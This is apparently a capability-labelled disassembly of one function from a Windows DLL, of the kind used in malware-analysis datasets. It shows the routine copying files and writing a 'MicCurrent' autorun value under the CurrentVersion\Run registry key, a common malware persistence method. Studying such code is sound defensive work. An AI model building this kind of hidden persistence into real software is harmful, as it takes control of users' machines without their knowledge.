Function at 0x10004460
Capabilities:
Accept command line arguments
Copy file
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10035bd7
mov eax, dword fs:[0]
push eax
sub esp, 0x11c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
push 8
movups xmmword [ebp - 0xd0], xmm0
mov dword [ebp - 0xc0], 0
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0xb8], 0
call fcn.10005c10
lea ecx, [ebp - 0xd0]
mov dword [eax + 4], 0
mov dword [ebp - 0xd0], eax
mov dword [eax], ecx
xor eax, eax
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0xb8], 7
mov word [ebp - 0xcc], ax
mov dword [ebp - 4], 2
xorps xmm0, xmm0
push 8
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x9c], eax
call fcn.10005c10
lea ecx, [ebp - 0xb4]
mov dword [eax + 4], 0
mov dword [ebp - 0xb4], eax
mov dword [eax], ecx
xor eax, eax
mov dword [ebp - 0xa0], 0
mov dword [ebp - 0x9c], 7
mov word [ebp - 0xb0], ax
mov byte [ebp - 4], 4
xorps xmm0, xmm0
push 8
movups xmmword [ebp - 0x128], xmm0
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x114], eax
mov dword [ebp - 0x110], eax
call fcn.10005c10
lea ecx, [ebp - 0x128]
mov dword [eax + 4], 0
mov dword [ebp - 0x128], eax
mov dword [eax], ecx
xor eax, eax
mov dword [ebp - 0x114], 0
mov dword [ebp - 0x110], 7
mov word [ebp - 0x124], ax
mov byte [ebp - 4], 6
xorps xmm0, xmm0
push 8
movups xmmword [ebp - 0x98], xmm0
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x80], eax
call fcn.10005c10
lea ecx, [ebp - 0x98]
mov dword [eax + 4], 0
mov dword [ebp - 0x98], eax
mov dword [eax], ecx
xor eax, eax
mov dword [ebp - 0x84], 0
mov dword [ebp - 0x80], 7
mov word [ebp - 0x94], ax
mov byte [ebp - 4], 8
xorps xmm0, xmm0
push 8
movups xmmword [ebp - 0x10c], xmm0
mov dword [ebp - 0xfc], eax
mov dword [ebp - 0xf8], eax
mov dword [ebp - 0xf4], eax
call fcn.10005c10
mov dword [eax + 4], 0
lea ecx, [ebp - 0x10c]
mov dword [ebp - 0x10c], eax
mov dword [eax], ecx
xor eax, eax
mov dword [ebp - 0xf8], 0
mov dword [ebp - 0xf4], 7
mov word [ebp - 0x108], ax
mov byte [ebp - 4], 0xa
xorps xmm0, xmm0
push 8
movups xmmword [ebp - 0x7c], xmm0
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x64], eax
call fcn.10005c10
lea ecx, [ebp - 0x7c]
mov dword [eax + 4], 0
mov dword [ebp - 0x7c], eax
mov dword [eax], ecx
xor eax, eax
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x64], 7
mov word [ebp - 0x78], ax
mov byte [ebp - 4], 0xc
xorps xmm0, xmm0
push 8
movups xmmword [ebp - 0x60], xmm0
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x48], eax
call fcn.10005c10
lea ecx, [ebp - 0x60]
mov dword [eax + 4], 0
mov dword [ebp - 0x60], eax
mov dword [eax], ecx
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x48], 0xf
mov byte [ebp - 0x5c], 0
add esp, 0x14
mov byte [ebp - 4], 0xd
mov eax, ecx
lea edx, [ebp - 0xb4]
lea ecx, [ebp - 0xd0]
push eax
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x98]
push eax
call fcn.10003700
add esp, 0x14
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
test eax, eax
je 0x10004814
cmp dword [ebp - 0x44], 1
jne 0x10004814
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
cmp dword [ebp - 0x64], 8
lea ecx, [ebp - 0x78]
mov esi, dword [sym.imp.KERNEL32.dll_CopyFileW]
lea eax, [ebp - 0xcc]
cmovae ecx, dword [ebp - 0x78]
cmp dword [ebp - 0xb8], 8
push 0
cmovae eax, dword [ebp - 0xcc]
push ecx
push eax
call esi
cmp dword [ebp - 0x80], 8
lea ecx, [ebp - 0x94]
push 0
cmovae ecx, dword [ebp - 0x94]
lea eax, [ebp - 0xb0]
cmp dword [ebp - 0x9c], 8
push ecx
cmovae eax, dword [ebp - 0xb0]
push eax
call esi
cmp dword [ebp - 0x48], 0x10
lea edi, [ebp - 0x5c]
cmovae edi, dword [ebp - 0x5c]
mov esi, edi
lea ecx, [esi + 1]
nop dword [eax]
mov al, byte [esi]
inc esi
test al, al
jne 0x10004790
mov eax, dword [0x10043748]
sub esi, ecx
movups xmm0, xmmword [str.SoftwareMicrosoftWindowsCurrentVersionRun]
mov dword [ebp - 0x18], eax
mov ax, word [0x1004374c]
mov word [ebp - 0x14], ax
lea eax, [ebp - 0x44]
push eax
movups xmmword [ebp - 0x40], xmm0
push 0xf003f
movups xmm0, xmmword [0x10043730]
push 0
lea eax, [ebp - 0x40]
mov dword [ebp - 0x44], 0
movups xmmword [ebp - 0x30], xmm0
push eax
movq xmm0, qword [0x10043740]
push 0x80000001
movq qword [ebp - 0x20], xmm0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000480f
push esi
push edi
push 1
push eax
push str.MicCurrent
push dword [ebp - 0x44]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x44]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call fcn.100015c0
push 7
xorps xmm0, xmm0
mov dword [ebp - 0xe0], 0
push str.sscetip
lea ecx, [ebp - 0xf0]
mov dword [ebp - 0xdc], 0
movups xmmword [ebp - 0xf0], xmm0
mov dword [ebp - 0xd8], 0
call fcn.10005150
lea eax, [ebp - 0xd4]
mov byte [ebp - 4], 0xe
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov dword [ebp - 0x44], eax
test eax, eax
je 0x100048df
cmp dword [ebp - 0xd4], 2
jne 0x100048df
mov ecx, dword [eax + 4]
mov edx, ecx
lea esi, [edx + 2]
nop
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x10004880
sub edx, esi
lea edi, [ebp - 0xec]
mov esi, dword [ebp - 0xdc]
sar edx, 1
cmp dword [ebp - 0xd8], 8
cmovae edi, dword [ebp - 0xec]
cmp esi, edx
jne 0x100048d5
test esi, esi
je 0x100048c4
sub edi, ecx
mov ax, word [ecx + edi]
cmp ax, word [ecx]
jne 0x100048d5
add ecx, 2
sub esi, 1
jne 0x100048b3
push dword [ebp - 0x44]
mov eax, dword [sym.imp.KERNEL32.dll_LocalFree]
call eax
call fcn.100015c0
jmp 0x100048df
push dword [ebp - 0x44]
mov eax, dword [sym.imp.KERNEL32.dll_LocalFree]
call eax
lea ecx, [ebp - 0xf0]
call fcn.10004aa0
mov eax, dword [ebp - 0xf0]
push 8
push eax
mov dword [ebp - 0xf0], 0
call fcn.10005c60
add esp, 8
lea ecx, [ebp - 0x60]
call fcn.10004c20
mov eax, dword [ebp - 0x60]
push 8
push eax
mov dword [ebp - 0x60], 0
call fcn.10005c60
add esp, 8
lea ecx, [ebp - 0x7c]
call fcn.10004aa0
mov eax, dword [ebp - 0x7c]
push 8
push eax
mov dword [ebp - 0x7c], 0
call fcn.10005c60
add esp, 8
lea ecx, [ebp - 0x10c]
call fcn.10004aa0
mov eax, dword [ebp - 0x10c]
push 8
push eax
mov dword [ebp - 0x10c], 0
call fcn.10005c60
add esp, 8
lea ecx, [ebp - 0x98]
call fcn.10004aa0
mov eax, dword [ebp - 0x98]
push 8
push eax
mov dword [ebp - 0x98], 0
call fcn.10005c60
add esp, 8
lea ecx, [ebp - 0x128]
call fcn.10004aa0
mov eax, dword [ebp - 0x128]
push 8
push eax
mov dword [ebp - 0x128], 0
call fcn.10005c60
add esp, 8
lea ecx, [ebp - 0xb4]
call fcn.10004aa0
mov eax, dword [ebp - 0xb4]
push 8
push eax
mov dword [ebp - 0xb4], 0
call fcn.10005c60
add esp, 8
lea ecx, [ebp - 0xd0]
call fcn.10004aa0
mov eax, dword [ebp - 0xd0]
push 8
push eax
mov dword [ebp - 0xd0], 0
call fcn.10005c60
add esp, 8
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100059d0
mov esp, ebp
pop ebp
ret